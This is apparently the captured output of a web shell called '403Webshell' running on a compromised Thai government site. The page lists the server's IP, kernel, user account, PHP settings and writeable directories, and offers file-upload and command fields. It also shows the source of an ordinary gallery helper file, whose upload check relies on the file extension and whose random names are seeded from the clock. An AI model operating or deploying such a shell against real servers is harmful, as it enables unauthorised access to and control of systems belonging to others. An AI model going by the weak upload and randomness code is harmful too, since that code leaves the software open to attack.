403Webshell
Server IP : 119.59.102.212  /  Your IP : 3.133.157.170
Web Server : Apache/2
System : Linux narin 2.6.32-042stab142.1 #1 SMP Tue Jan 28 23:44:17 MSK 2020 x86_64
User : yangkam ( 1022)
PHP Version : 5.6.40
Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/yangkam/domains/yangkam.go.th/public_html/coremain/module/gallery/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/yangkam/domains/yangkam.go.th/public_html/coremain/module/gallery/myfunction.php
<?php
// ----------------------  WS -----------------------------------//

$month_thai = array('มกราคม','กุมภาพันธ์','มีนาคม','เมษายน','พฤษภาคม','มิถุนายน','กรกฎาคม','สิงหาคม','กันยายน','ตุลาคม','พฤศจิกายน','ธันวาคม'); 
$smonth_thai = array('ม.ค.','ก.พ.','มี.ค.','เม.ย.','พ.ค.','มิ.ย.','ก.ค.','ส.ค.','ก.ย.','ต.ค.','พ.ย.','ธ.ค.');
function getThaiDate($time,$mode,$hasTime){
$month_thai = array('มกราคม','กุมภาพันธ์','มีนาคม','เมษายน','พฤษภาคม','มิถุนายน','กรกฎาคม','สิงหาคม','กันยายน','ตุลาคม','พฤศจิกายน','ธันวาคม'); 
$smonth_thai = array('ม.ค.','ก.พ.','มี.ค.','เม.ย.','พ.ค.','มิ.ย.','ก.ค.','ส.ค.','ก.ย.','ต.ค.','พ.ย.','ธ.ค.');
				$date = date("j",$time);
				$m = date("m",$time);
				if($mode==1){
					$month = $month_thai[$m-1];
					$year =  date("Y",$time)+543;
				}else if($mode==2){
				$month = $smonth_thai[$m-1];
					$year =  (date("Y",$time)+543);  //-2500
				}
				$date.= ' '.$month.' ';
				$date.= $year;
				if($hasTime)
				$date .= date(" H:i น.",$time);
				return $date;
}

function splitTagP($html){
		$html = substr(substr($html,3),0,strlen($html)-7);
		return $html;
}

	
	function getRandomName($len) { 
			srand( date("s") ); 
			$chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"; 
			$chars.= "1234567890";  
			$ret_str = ""; 
			$num = strlen($chars); 
			for($j=0; $j < $len; $j++) { 
			$ret_str.= $chars[rand()%$num]; 
			
			} 
			return $ret_str; 
	}
	
	function getExt($filename){
		return substr($filename,strrpos($filename,'.'));
	}
	
	function upload($file,$path){
		if(is_uploaded_file($file[tmp_name])){
				// echo 'isupload compleated<br>';
				$ext = strtolower(getExt($file[name]));  
				$filename = getRandomName(32).$ext;
				if($ext=='.jpg'||$ext=='.jpeg'||$ext=='.gif'){
					if(move_uploaded_file($file[tmp_name],$path.$filename)){		//echo 'move upload compleated<br>';	
						return $filename;
				    }
				}else{
						$_SESSION[upload][msg] = '<div><font color="red"><i>** อนุญาติเฉพาะ jpg, jpeg และ gif **</i></font></div>';
						return false;
				}
   		 }
		 return false;
	  }
	  
function getFileSize($size)
  {
    $i = 0;
    $iec = array(" bytes", " KB", " MB", " GB", " TB", " PB", " EB", " ZB", " YB");
    while (($size / 1024) > 1)
    {
      $size = $size / 1024;
      $i++;
    }
    return substr($size, 0, strpos($size, '.') + 2) . $iec[$i];
  }

// ----------------------------------- WS ---------------------------------//
function check_upload_file_size($fs,$size_allow,$current_size){
	$tmp_file_size = $fs/1048576;
	$tmp_size = $tmp_file_size + $current_size;
	if($tmp_size > $size_allow){
		return false;
	}else{
		return true;
	}
}
?>

Youez - 2016 - github.com/yon3zu
LinuXploit